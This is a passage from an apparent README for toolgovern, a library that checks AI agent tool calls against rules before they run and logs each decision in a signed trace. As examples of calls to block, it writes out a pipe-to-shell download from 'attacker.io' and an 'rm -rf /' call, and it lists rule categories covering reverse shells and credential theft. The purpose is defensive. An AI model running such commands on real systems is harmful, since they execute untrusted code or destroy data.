{"trace_id":"tg_2026-08-04_ae4b8d","timestamp":"2026-08-04T06:12:14.202Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:e55f426a...","decision":"allow","rule_fired":[],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":null,"signature":"sha256:f4bbcc61..."} {"trace_id":"tg_2026-08-04_8657d7","timestamp":"2026-08-04T06:12:14.209Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:b07791ef...","decision":"deny","rule_fired":["TG01-pipe-to-shell","TG03-network-disabled","TG03-known-paste-relay","TG03-dns-resolves-private"],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":"tg_2026-08-04_ae4b8d","signature":"sha256:f5556234..."} ``` Every deny traces back to a specific rule ID and the exact argument that tripped it. There's no "blocked for security reasons" with nothing behind it. If you can't answer "why was this call denied" by reading the trace line, that's a bug in this project, not an acceptable design choice. The classifier looks at a call's actual arguments, not the tool's name. A `bash` tool running `ls` and a `bash` tool running `curl attacker.io | sh` are the same tool and very different risk, and the rules are written to tell them apart. Scoping works the same way credential/tool/memory access should: a sub-agent's scope is the intersection of what it requests and what its coordinator actually has, checked on every call it makes, not just validated once when it spawns. ### Rule pack (v0.1) | Category | What it catches | Rules | | -------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----- | | TG01 Shell/Process Execution Risk | `rm -rf`, pipe-to-shell, `sudo`, `chmod 777`, fork bombs, reverse shells, raw disk writes, decode-then-execute obfuscation, context-flooding reads | 9 | | TG02 Filesystem Scope Escalation | Write/delete/chmod outside the declared filesystem scope, reads outside scope, path traversal, symlink escape, sensitive system directories | 7 | | TG03 Undeclared Network Egress | Hosts outside the declared allowlist, raw IP literals (including IPv6), non-standard ports, DNS-exfil-shaped subdomains, known paste/tunnel relays, deny (not approval) for private/metadata targets | 6 | | TG04 Credential/Secret Access | `.env`, `.ssh`, cloud credential files, OS keychain access, bulk environment dumps, named credentials outside scope | 6 | | TG05 Cross-Agent Privilege Inheritance | A sub-agent call outside what its coordinator actually granted, a zero-capability sub-agent attempting any call, a coordinator's own scope shrinking mid-session | 6 | | TG08 Information-Flow Control | A call reading from a caller-declared confidential-or-higher source and writing/sending to a destination whose declared trust tier is lower, or was never declared at all (fails closed to approval) | 1 | 35 rules total, all synchronous, all reachable via `classify()`. Two category names aren't in v0.1: TG06 (high-risk tool combinations across a session) and TG07 (retrying a denied call with modified arguments) both need cross-call session state that this classifier doesn't yet keep, since it evaluates one call at a time with no memory of prior calls. That's a stated limitation, not a hidden one. TG08 (above) is the next category after TG05 that ships, because -- unlike TG06/TG07 -- it needs no cross-call state: it evaluates one call's own declared source/sink arguments against a caller-declared label policy (`ScopeDeclaration.ifc`), nothing more. TG08 is opt-in: it never fires for an agent whose scope declares no `ifc` policy at all, so this addition changes nothing for existing callers. See [`docs/concepts.md`](./docs/concepts.md#tg08-information-flow-control) for the labeling API and [`docs/security-model.md`](./docs/security-model.md) for what this scoped primitive deliberately does not attempt (no automatic label inference, no cross-call taint tracking, no reader-scoped lattice -- it is not a FIDES-style MCP gateway IFC system, just the smallest real primitive that lets a genuine label-propagation check exist). **A 36th check, async-only: DNS resolution of hostname arguments (TG03).** A raw IP literal argument (`127.0.0.1`, `169.254.169.254`, ...) targeting loopback/RFC1918/link-local/cloud-metadata space is already denied by the 35-rule table above. What that table's `TG03-raw-ip-literal` rule cannot catch is a **hostname** argument that merely _resolves_ to one of those same addresses (`internal-alias.attacker.io -> 127.0.0.1`) -- a DNS lookup is inherently I/O, not something a synchronous rule can do. `TG03-dns-resolves-private` closes that gap: it resolves the hostname via `dns.promises.lookup()` (honoring `/etc/hosts`) and applies the exact same private/metadata range check to every resolved address, failing closed (`require-approval`, never `allow`) if resolution itself fails or times out. Because this needs `await`, it lives in a separate `classifyAsync()` entry point (`governTool()`'s already-`async` `execute()` calls this instead of the synchronous `classify()`), not the 35-rule table above -- `classify()` alone will not run it. See [`docs/security-model.md`](./docs/security-model.md) (finding #10) for the full writeup, including the honestly-disclosed limits: this narrows but does not eliminate DNS-rebinding TOCTOU, and redirect-chain revalidation is a separate, still-open gap this check does not attempt. The Python package folds the equivalent check directly into its one synchronous `classify()` instead (36 rules total there), since `govern_tool()` is synchronous end to end in that port and `socket.getaddrinfo()` is itself a blocking call -- see [`python/README.md`](./python/README.md) for that side's rule count. A gate decision of `allow` means the call was checked against this rule set and nothing fired. It is not a claim that the call is safe. The rule set is finite, and `docs/security-model.md` documents specifically what kinds of obfuscation it does and doesn't catch. By default, a call that matches no rule at all is allowed, not denied -- `governTool()`'s `defaultDecision` option defaults to `'allow'`, favoring usability over a hard fail-closed posture out of the box. If you want unrecognized calls to require approval or be denied instead, set `defaultDecision: 'require-approval'` or `'deny'` explicitly. Either way, `allow` never means "nothing could have gone wrong" -- it means "checked against 35 rules, none fired." ## The gap this closes Multi-agent frameworks generally give you two primitives: a tool an agent can call, and a way to spawn a sub-agent. What most of them don't give you is a way to say "this sub-agent gets less access than its coordinator by default, and here's proof of what it actually tried to do." A coordinator spins up a research sub-agent for a routine data pull, the sub-agent inherits the coordinator's full tool access because the framework has no concept of scoping it down, and nothing tells "the shell tool ran `ls`" apart from "the shell tool ran `curl attacker.io | sh`." Both are just the shell tool running. That's not a hypothetical. It's the kind of gap that shows up, repeatedly, in real multi-agent framework issue trackers: someone proposes a per-call risk-gating hook and it sits open, marked as a maybe for a future release with no committed timeline, and someone else asks for scoped credential management so a sub-agent can't silently reach whatever its coordinator can reach, and that stays open too. toolgovern closes that specific gap in a way any framework can adopt today, without waiting on a maintainer roadmap: wrap your existing tool definitions in one function call, and every invocation gets evaluated -- allow, deny, or require-approval -- before it reaches your real tool executor. ## Why this matters now None of what follows is a claim about toolgovern's own adoption. It's why gating a tool call before it executes is worth doing at all right now, not later. MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not a hypothetical. Invariant Labs formally named MCP tool poisoning in April 2025, the Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a third of scanned MCP servers were found carrying a critical vulnerability, and Microsoft disclosed a poisoned-MCP-tool-description attack technique in July 2026 ([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html), [Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/), [Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)). Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy engine that intercepts agent actions before execution ([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)). It's an unrelated project -- toolgovern isn't affiliated with it and doesn't claim to be -- cited here only because it confirms that gating a tool call before it runs is now a concern the largest framework vendors are building for too, not something only a small OSS project cares about. The frameworks this project ships real integrations for are themselves consolidating and growing fast, which is part of why the gap matters at each of them specifically. Microsoft merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA'd 2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI` ([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/), [github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)). LangGraph passed CrewAI in GitHub stars in early 2026, driven by enterprise adoption of its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks)). The Claude Agent SDK reportedly passed AutoGen in enterprise production-deployment count in early-to-mid 2026 per LangChain's own State of AI 2025 report, and ships a purpose-built `PreToolUse` hook this project wires into directly (see the Claude Agent SDK integration below). Regulatory pressure adds a harder deadline on top of the technical case: the EU AI Act's high-risk-AI obligations take effect in August 2026, the Colorado AI Act becomes enforceable in June 2026, and OWASP published a dedicated Top 10 for Agentic Applications for 2026. That's the backdrop that makes "can you show what an agent actually tried to do, and prove a call was blocked before it ran" a question more teams get asked, not fewer. ## API reference Everything below is exported from the `toolgovern` package's real entry point (`src/index.ts`) -- grepped from source, not aspirational. Full types live in the package itself; this is the surface you actually import from. **Middleware** | Export | Signature | What it does | | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `governTool` | `governTool(tool: ToolDefinition, options: GovernToolOptions): ToolDefinition` | Wraps a tool definition so every call is classified before it reaches your real executor. | | `ToolGovernDenialError` | `class extends Error` | Thrown when a call is denied. | | `InvalidAgentIdError` | `class extends Error` | Thrown when an agent ID doesn't match a registered scope. | | `resumePendingApproval` | `resumePendingApproval(tool: ToolDefinition, registry: PendingApprovalRegistry, pendingId: string, resolution: ResolvePendingInput, options?: ResumePendingApprovalOptions): Promise` | Closes the loop a `require-approval` verdict opens: resolves a pending approval in the registry, then actually runs the original tool if the resolution allowed it. | | `PendingApprovalNotResolvableError` | `class extends Error` | Thrown by `resumePendingApproval` when the pending ID is already resolved, expired, or unknown. | **Scoping** | Export | Signature | What it does | | ---------------------------------------------------------------------------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | `ScopeRegistry` | `registerRootAgent(agentId, sessionId, scope): void` | Registers a coordinator's own scope so sub-agent calls can be checked against it. | | `computeInheritedScope` | `(coordinatorScope, requestedScope) => ScopeDeclaration` | Pure function: intersects a sub-agent's requested scope with what its coordinator actually has. | | `hasZeroCapability` | `(scope) => boolean` | True if a scope grants no access at all. | | `normalizeScope`, `isValidScopeDeclaration`, `isValidAgentId`, `EMPTY_SCOPE` | -- | Scope validation and normalization helpers. | **Trace** | Export | Signature | What it does | | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `TraceWriter` | `new TraceWriter(filePath: string, options?: TraceWriterOptions)`, `append(input): Promise` | Writes a signed, hash-chained JSONL trace entry per call. | | `readTrace` | `(filePath: string) => Promise` | Reads a trace file back into memory. | | `filterTrace` | `(entries, query: TraceQuery) => TraceEntry[]` | Filters trace entries by time window, decision, agent, or rule ID -- what `toolgovern-cli audit` runs under the hood. | | `verifyChain` | `(entries, options?) => ChainVerificationResult` | Recomputes signatures and confirms `prior_trace_id` links are intact. | | `parseSince` | `(since: string, now?: Date) => Date` | Parses a `--since` window string (e.g. `24h`) into a `Date`. | | `computeEntryContentHash`, `computeEntrySignature` | -- | Low-level hashing/signing primitives behind `TraceWriter`. | | `canonicalJson` | `(value: unknown) => string` | Deterministic, key-sorted JSON serialization -- what the hashing/signing primitives above run every entry through so the same logical entry always hashes the same way. | **Policy** | Export | Signature | What it does | | ---------------- | ------------------------------------------ | --------------------------------------------------------------------------------------- | | `loadPolicy` | `(filePath: string) => Policy` | Loads and validates a YAML policy file, throwing `PolicyValidationError` on a bad file. | | `validatePolicy` | `(raw: unknown) => PolicyValidationResult` | Validates a policy object without loading from disk. | | `asPolicy` | `(raw: unknown) => Policy` | Type-narrows a validated raw object to `Policy`. | **Approval** | Export | Signature | What it does | | ----------------------------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `PendingApprovalRegistry` | `new PendingApprovalRegistry(options?: PendingApprovalRegistryOptions)` | A durable, alias-tolerant registry for `require-approval` verdicts that get resolved out-of-band (a Slack button, a review queue) instead of answered synchronously in-process. | | `UnknownPendingApprovalError` | `class extends Error` | Thrown when resolving an approval ID the registry has no record of. | | `PendingApprovalAliasConflictError` | `class extends Error` | Thrown when a caller-supplied alias collides with an existing pending approval. | In-memory by default; back it with real durable storage yourself for a deployment that spans processes. See the Claude Agent SDK integration below for a worked example wiring this into a real `PreToolUse` hook's require-approval path. **MCP-server trust** | Export | Signature | What it does | | ------------------------- | ----------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `isOriginAllowed` | `(origin: string, allowlist: readonly string[]) => boolean` | Connection-time origin allowlist check, exact-match by default (opt into subdomain matching with a leading `*.` entry). | | `verifyMcpServerManifest` | `(manifestUrlOrEnvelope: string \| McpManifestEnvelope, opts: VerifyManifestOptions) => Promise` | Verifies an MCP server manifest's detached Ed25519/RSA-SHA256 signature against a pinned public-key list. Fails closed on every path: no pinned keys, unreachable manifest, unknown key ID, or a signature that doesn't verify all deny. | | `assertMcpServerTrusted` | `(request: McpServerConnectionRequest, policy: McpTrustPolicy) => Promise` | The combined connection-time gate: origin allowlist first, then manifest signature verification, before any tool the server declares is trusted. | This is a categorically different governance moment from TG01-TG05/TG08: those classify what a tool call _does_ once an MCP server is already connected and its tools are already being invoked. `mcp-trust` answers a question the per-call classifier never asks -- should this agent have connected to this MCP server, and trusted the tool definitions it declared, in the first place -- checked once at connection time, before any tool call from that server is ever classified. It's motivated directly by two real 2026 MCP supply-chain incidents: the CrewAI CVE-2026-2275/2287 chain (an untrusted MCP-sourced tool as the enabling condition for a prompt-injection-to-RCE chain) and the Postmark MCP package rug-pull (a previously-trusted server pushing a malicious update that every downstream deployment silently inherited). See [`docs/security-model.md`](./docs/security-model.md) ("MCP-server trust boundary") for the full writeup, including what this module deliberately doesn't attempt: no sigstore/keyless verification, no revocation checking for a compromised pinned key, and no re-verification of a live connection after the manifest check passes once. **Classifier** | Export | Signature | What it does | | ------------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | | `classify` | `(ctx: RuleContext, options?: ClassifyOptions) => ClassifierResult` | Runs the 35-rule synchronous classifier directly against a call context. Does not run `TG03-dns-resolves-private` (see below). | | `classifyAsync` | `(ctx: RuleContext, options?: ClassifyOptions) => Promise` | What `governTool()` actually calls: everything `classify()` does, plus the async TG03 DNS-resolution check. | | `ruleRegistry` | `Rule[]` | The 35 synchronous rules -- what `classify()` checks every call against. | | `asyncRuleRegistry` | `AsyncRule[]` | The async-only rule(s) -- currently just `TG03-dns-resolves-private` -- `classifyAsync()` additionally checks. | **Other** | Export | Signature | What it does | | -------------------------- | ------------------------------------------- | --------------------------------------------------------------- | | `IdempotencyCache` | `constructor(options?: IdempotencyOptions)` | Dedupes retried calls with identical arguments within a window. | Types: `Decision`, `AgentIdSource`, `RuleCategory`, `ScopeDeclaration`, `Policy`, `RuleOverrides`, `RuleContext`, `RuleMatch`, `Rule`, `AsyncRule`, `ClassifierResult`, `TraceEntry`, `TraceEntryInput`, `AgentScopeRecord`, `GovernToolOptions`, `GateDecisionInfo`, `ApprovalHandler`, `ApprovalOutcome`, `ToolDefinition`. Integration packages export a narrower, framework-specific surface on top of the above: `toolgovern-integration-oma` exports `governedTool(tool, options)` and `governedExecutor(baseExecutor, options)`; `toolgovern-integration-langgraph` exports `governedLangGraphTool(langchainTool, options)` and `governedLangGraphTools(langchainTools, options)`. ## How it compares to other agent governance projects This isn't an empty field. Read the table honestly before deciding what you need. | | **toolgovern** | [Microsoft Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) | [NVIDIA NeMo Relay](https://github.com/NVIDIA/NeMo-Relay) | [LangGraph human-in-the-loop](https://docs.langchain.com/oss/python/langchain/human-in-the-loop) | | -------------------------- | ------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | | What it actually gates | Tool calls, pre-execution, against a built-in rule set | Tool calls, messages, and delegation, pre-execution, against policy you author (YAML/OPA/Cedar) | Tool and LLM calls via pre-tool hooks -- coverage depends on the host agent, documented for Claude Code/Codex, partial elsewhere | A single tool call, paused for a human decision -- no automated risk classification | | Rules out of the box | 35, across 6 categories, zero config | None shipped -- you write the policy | None shipped -- pre-tool hooks call your own logic, not a built-in classifier | None -- you decide per call | | Language / footprint | TypeScript, one library, wraps a function | Python-first, 5 language SDKs, policy engine + identity system + execution sandbox + audit stack | Rust core, with Python/Node.js/Rust bindings (experimental Go) | Python (a separate `langgraphjs` exists but tracks independently) | | Per-agent scope narrowing | Yes -- a sub-agent can never exceed its coordinator's granted scope | Yes -- documented delegation-chain narrowing and a 4-ring privilege model | Not publicly documented | No | | Tamper-evident audit trail | Yes -- signed, hash-chained local JSONL | Yes -- Merkle-audit-backed, part of a formal spec with 157 conformance tests | No -- raw JSONL trajectory export (ATOF/ATIF format), not signed | No | | Hosted component required | No, never | No -- self-hosted by design, Azure integration is optional | No -- local CLI gateway | No for the OSS library; LangGraph's own hosted server runtime is separately licensed | | Stars (checked 2026-08-03) | 0, pre-launch | 5.6k | 103 (new, created 2026-03-31) | 38.8k (core `langgraph` repo) | | License | Apache 2.0 | MIT | Apache 2.0 | MIT | Two things worth being direct about, because they'd get caught fast otherwise: Microsoft's Agent Governance Toolkit already does per-agent scope narrowing and a tamper-evident audit trail, in a more mature and more thoroughly specified form than toolgovern -- a formal delegation-chain spec, a privilege-ring model, 157 conformance tests just for the audit layer. Anyone comparing the two on "does it have scoping" or "does it have a signed trail" alone will find they're tied. That's not a reason to skip AGT; if you need a full governance platform with identity, sandboxing, and compliance mapping behind it, it's a real, well-built option. NeMo Relay and LangGraph's human-in-the-loop middleware are doing a genuinely different job, not a weaker version of the same one -- Relay gives you a pre-tool hook to call your own logic from (useful if you're already building on it, but it ships no rule classifier of its own, and its documented hook coverage is strongest for Claude Code/Codex, partial elsewhere), and LangGraph's HITL is a manual pause-and-ask primitive with no automated classification underneath it. Listing them here is about scope, not a claim that toolgovern beats them at their own task. Where toolgovern's actual edge sits: you `npm install` it, wrap one function, and get 35 rules that already exist -- no policy authoring, no identity system to stand up, no separate services to run. AGT is infrastructure you deploy; toolgovern is a library you import. If you want a curated rule set with zero configuration and you're fine running it yourself with no vendor and no dashboard, that's what this is for. If you need a full governance platform with a support contract behind it, AGT is the more honest answer today, and pretending otherwise here would not survive five minutes of scrutiny. ## Benchmarks (measured, not targets) Run it yourself: `npm run build && npm run bench:detection-rate && npm run bench:latency`. Full methodology, corpus description, and the 3-run numbers live in `benchmarks/README.md`; the table below is a summary of that file, not a separate claim. | Category | Rule checks | Detection rate | False-positive rate | | -------------------------------------- | ----------- | ------------------ | ------------------- | | TG01 Shell/Process Execution Risk | 9 | 100.0% (16/16) | 0.0% (0/13) | | TG02 Filesystem Scope Escalation | 7 | 100.0% (14/14) | 0.0% (0/10) | | TG03 Undeclared Network Egress | 6 | 100.0% (12/12) | 0.0% (0/9) | | TG04 Credential/Secret Access | 6 | 100.0% (13/13) | 0.0% (0/9) | | TG05 Cross-Agent Privilege Inheritance | 6 | 100.0% (10/10) | 0.0% (0/10) | | **Overall** | **34** | **100.0% (65/65)** | **0.0% (0/51)** | Per-call classifier latency, in-process with no network round-trip, measured across 5,000 calls per run over 3 runs: mean 7.8-8.2 microseconds, p50 7.5-7.6 microseconds, p95 10.3-10.7 microseconds, p99 14.6-27.6 microseconds. See `benchmarks/README.md` for the full methodology and per-run numbers. Read the detection-rate number honestly: it's 100% on a 116-case corpus the maintainers wrote to match the rules the maintainers wrote, including obfuscated variants (base64-decode-then-execute, empty-quote-pair splitting, invisible Unicode characters, `$IFS`-as-space substitution) closed during a security-hardening pass documented in `docs/security-model.md`. It isn't a claim that 100% of real-world risky tool calls get caught. A technique not in this corpus could still get through, and if you find one, extend the corpus yourself. ## Framework integration Two published TypeScript integration packages (thin wrappers around `governTool()`, no independent governance logic), five more Python-only integration packages targeting specific agent frameworks' own Python SDKs directly, a source-available .NET port of the core plus a real Microsoft Agent Framework (.NET) adapter, and a CLI command (`toolgovern-cli init`, see below) that scaffolds a TypeScript integration directly into your project. Each integration package's own README documents real, verified PASS/PARTIAL/FAIL findings against that framework's actual upstream issue tracker, not assumed from issue titles. ### `toolgovern-integration-oma` -- open-multi-agent-style frameworks A generic, documented adapter for wrapping a multi-agent framework's tool-executor call site. It is not a submitted or merged integration against any specific upstream project -- it's a working starting point to adapt, not a claim that any framework ships this today. ![toolgovern-cli init oma scaffolding a toolgovern-integration-oma starting point into the current directory](./docs/demo-init-oma.gif) ```bash npm install toolgovern-integration-oma toolgovern ``` Two shapes, matching the two real patterns frameworks actually use. Start with the first one: ```ts // Per-tool, registration-time wrapping -- the pattern most frameworks with a tool registry // actually use (register one governed tool at a time). import { governedTool } from 'toolgovern-integration-oma'; import { loadPolicy } from 'toolgovern'; const policy = loadPolicy('./toolgovern.policy.yml'); registry.register(governedTool(myTool, policy)); ``` ```ts // Dispatcher wrapping -- for frameworks whose tool-executor is a single // runTool(name, args) dispatcher instead of per-tool registration. import { governedExecutor } from 'toolgovern-integration-oma'; import { loadPolicy } from 'toolgovern'; const policy = loadPolicy('./toolgovern.policy.yml'); const executor = governedExecutor(baseExecutor, policy); // wherever your framework currently calls baseExecutor.runTool(name, args) directly, // call executor.runTool(name, args) instead ``` ### `toolgovern-integration-langgraph` -- LangGraph.js LangGraph.js's `ToolNode` has no `wrap_tool_call` hook -- that only exists in the separately maintained Python `langgraph` package. The working Node-only integration point is one level up, at tool-definition time: wrap each tool with `governTool()`, then re-wrap it with LangChain's own `tool()` factory before it goes into `new ToolNode([...])`. ```bash npm install toolgovern-integration-langgraph @langchain/core @langchain/langgraph toolgovern ``` ```ts import { ToolNode } from '@langchain/langgraph/prebuilt'; import { governedLangGraphTools } from 'toolgovern-integration-langgraph'; import { loadPolicy } from 'toolgovern'; const policy = loadPolicy('./toolgovern.policy.yml'); const toolNode = new ToolNode( governedLangGraphTools(myLangChainTools, { ...policy, agentId: 'research-sub', sessionId: 'demo-session', }), ); // wire toolNode into your StateGraph exactly as you would with the raw tools array -- // every call now flows through toolgovern's classifier first. ``` This is new capability for LangGraph.js users going forward -- it does not retroactively resolve any previously reported LangGraph issue, since every LangGraph issue this project has validated was filed against the Python `langchain-ai/langgraph` repository, not `langgraphjs`. ### `toolgovern-integration-langgraph` (Python) -- LangGraph The separately maintained Python `langgraph` package DOES expose a `wrap_tool_call` hook, a public `ToolNode` constructor parameter (confirmed against the real, installed `langgraph==1.2.9` / `langgraph-prebuilt==1.1.0` source). Every real LangGraph GitHub issue this project has validated (`langchain-ai/langgraph` #8026, #7687, #7178, #8169) is filed against exactly this package, so this is the integration that targets real, reported behavior -- see [`integrations/langgraph-python/docs/root-cause.md`](./integrations/langgraph-python/docs/root-cause.md) for the per-issue PASS/PARTIAL/FAIL verdicts. This isn't published to PyPI yet -- install it from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern pip install -e python pip install -e integrations/langgraph-python ``` ```python from langgraph.prebuilt import ToolNode from toolgovern import GovernToolOptions, load_policy from toolgovern_integration_langgraph import governed_tool_node policy = load_policy("./toolgovern.policy.yml") options = GovernToolOptions.from_policy(policy, agent_id="research-sub", session_id="demo-session") tool_node = governed_tool_node(my_tools, options) # wire tool_node into your StateGraph exactly as you would with the raw tools array -- # every call now flows through toolgovern's classifier first. ``` See [`integrations/langgraph-python/README.md`](./integrations/langgraph-python/README.md) for the tool-definition-boundary alternative (`governed_tool`/`governed_tools`) and the verified, version-specific `handle_tool_errors` behavior a denial surfaces through. ### `toolgovern-integration-agent-framework` -- Microsoft Agent Framework (Python) See [`integrations/agent-framework/README.md`](integrations/agent-framework/README.md) for the full writeup, including honest PASS/PARTIAL/FAIL verdicts against real upstream `microsoft/agent-framework` issues. This one is Python-only; the .NET side of Agent Framework has its own separate adapter -- see the ".NET" section below. This isn't published to PyPI yet -- install it from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern pip install -e python pip install -e integrations/agent-framework ``` ```python from toolgovern import GovernToolOptions, ScopeDeclaration from toolgovern_integration_agent_framework import governed_function_tool def read_file(path: str) -> str: with open(path) as f: return f.read() tool = governed_function_tool( read_file, GovernToolOptions(scope=ScopeDeclaration(filesystem=["/workspace"]), agent_id="research-agent"), description="Read a file from the workspace.", ) # tool is a real agent_framework.FunctionTool -- use it exactly like any other tool. ``` A `ToolGovernFunctionMiddleware` is also included for surfacing a per-call require-approval verdict through Agent Framework's own `function_approval_request`/`function_approval_response` flow (rather than a separate side channel), plus a connection-time MCP-server trust gate wiring toolgovern's `mcp_trust` module to `MCPStreamableHTTPTool`. See that package's README for both. ### `toolgovern-integration-crewai` -- CrewAI (Python) CrewAI's tool-execution surface is `crewai.tools.BaseTool` -- a concrete `run()` that validates arguments and claims a usage-count slot, then calls an abstract `_run()` a subclass implements (confirmed against the real, installed `crewai` 1.15.4 wheel, not assumed from an older release). CrewAI does ship a global, process-wide `before_tool_call` hook registry, but that's a different shape from `govern_tool()`'s per-tool-instance, per-agent-identity, per-scope gate -- so this package wraps at the `BaseTool` boundary itself instead, the same approach the LangGraph.js adapter above uses. No monkey-patching: it returns a new `BaseTool` with the same `name`, `description`, and `args_schema`, calling the real tool's own `run()` only after the classifier allows the call. This isn't published to PyPI yet -- install it from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern pip install -e python pip install -e integrations/crewai ``` ```python from crewai import Agent from crewai.tools import BaseTool from toolgovern import GovernToolOptions, ScopeDeclaration from toolgovern_integration_crewai import governed_crewai_tool class ShellTool(BaseTool): name: str = "shell" description: str = "Runs a shell command." def _run(self, command: str) -> str: import subprocess return subprocess.run(command, shell=True, capture_output=True, text=True).stdout governed_shell = governed_crewai_tool( ShellTool(), GovernToolOptions( scope=ScopeDeclaration(network=False, filesystem=["./workspace"]), agent_id="research-sub", session_id="demo-session", ), ) agent = Agent(role="Researcher", goal="...", backstory="...", tools=[governed_shell]) ``` See [`integrations/crewai/README.md`](integrations/crewai/README.md) for the full writeup, including why there's no plural `governed_crewai_tools()` helper (CrewAI tools are commonly assigned per-agent with different scopes, so wrapping a whole list with one shared options object is the wrong default here). ### `toolgovern-integration-autogen` -- Microsoft AutoGen (Python) Targets AutoGen's two real dispatch call sites directly: `GovernedCodeExecutor` wraps any `CodeExecutor` (`LocalCommandLineCodeExecutor`, `DockerCommandLineCodeExecutor`, ...) so every `CodeBlock` is classified by TG01/TG02 before the wrapped executor runs it -- the flagship issue this addresses, [microsoft/autogen#7462](https://github.com/microsoft/autogen/issues/7462), is that `LocalCommandLineCodeExecutor` writes LLM-generated code straight to disk with only a construction-time `UserWarning` as a safeguard. `governed_autogen_tool()` wraps any `autogen_core.tools.Tool` at its `run_json()` dispatch point instead, the same one `ToolAgent`/`AssistantAgent` both use. This isn't published to PyPI yet -- install it from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern pip install -e python pip install -e integrations/autogen ``` ```python from autogen_ext.code_executors.local import LocalCommandLineCodeExecutor from toolgovern import GovernToolOptions, ScopeDeclaration, ToolGovernDenialError from toolgovern_integration_autogen import GovernedCodeExecutor real_executor = LocalCommandLineCodeExecutor(work_dir="./coding") governed = GovernedCodeExecutor(real_executor, GovernToolOptions(scope=ScopeDeclaration())) # A dangerous block never reaches LocalCommandLineCodeExecutor.execute_code_blocks() at all. try: await governed.execute_code_blocks( [CodeBlock(code="import os; os.system('rm -rf /')", language="python")], CancellationToken() ) except ToolGovernDenialError as e: print(f"denied before execution: {e}") ``` See [`integrations/autogen/README.md`](integrations/autogen/README.md) for the full writeup, including honest verdicts against real upstream issues this does and doesn't address -- it's a pre-execution classifier, not a sandbox: it doesn't enforce process isolation or resource limits, so pair it with `DockerCommandLineCodeExecutor` (or similar) for genuine isolation. ### `toolgovern-integration-claude-agent-sdk` -- Claude Agent SDK (Python) Routes tool calls through a real `PreToolUse` hook -- verified against the installed `claude-agent-sdk` package (`claude_agent_sdk/types.py`) directly, not a docs summary. The hook fires before any tool executes, receives the tool name and input the model is about to invoke, and returns a structured `permissionDecision` the CLI itself enforces, so there's no per-tool wrapper call site to get right or accidentally miss. This isn't published to PyPI yet -- install it from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern pip install -e python pip install -e integrations/claude-agent-sdk pip install claude-agent-sdk ``` ```python from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient, HookMatcher from toolgovern import ScopeDeclaration from toolgovern_integration_claude_agent_sdk import GovernedHookOptions, governed_pretooluse_hook hook = governed_pretooluse_hook( GovernedHookOptions( scope=ScopeDeclaration(filesystem=["/workspace"], network=["api.internal.example.com"]), agent_id="research-sub", session_id="demo-session", ) ) options = ClaudeAgentOptions(hooks={"PreToolUse": [HookMatcher(hooks=[hook])]}) ``` A `require-approval` verdict has no in-hook way to pause for asynchronous human review, so it's wired to the same `PendingApprovalRegistry` the core ships (see the Approval table above): the decision is registered durably first, an optional `on_approval_required` handler gets a bounded window to answer, and if there's no handler, it raises, or it times out, the hook fails closed (deny) with the pending-approval ID named in the reason so it can be resolved out of band. See [`integrations/claude-agent-sdk/README.md`](integrations/claude-agent-sdk/README.md) for the full writeup. ### .NET -- `ToolGovern.Net` and `ToolGovern.AgentFramework` A faithful .NET port of the core (the same multi-rule classifier -- shell-risk, filesystem-scope, network-egress, credential-access, cross-agent-inheritance, information-flow -- the intersection-only scope registry, the signed hash-chained trace, and the `GovernTool()` pre-execution middleware gate) lives under [`dotnet/ToolGovern`](dotnet/ToolGovern), targeting `net10.0`. `ToolGovern.AgentFramework` builds on it to gate Microsoft Agent Framework (.NET) `AIFunction` tool calls, using the exact `DelegatingAIFunction` extension point the framework's own maintainer pointed integrators to in [agent-framework#2254](https://github.com/microsoft/agent-framework/issues/2254). Neither package is published to NuGet yet -- build from source: ```bash git clone https://github.com/RudrenduPaul/toolgovern.git cd toolgovern/dotnet/ToolGovern.AgentFramework dotnet build ``` ```csharp using Microsoft.Extensions.AI; using ToolGovern; using ToolGovern.AgentFramework; using ToolGovern.Middleware; string ReadFile(string path) => File.ReadAllText(path); AIFunction tool = AIFunctionFactory.Create(ReadFile, "read_file", "Reads a file from the workspace."); AIFunction 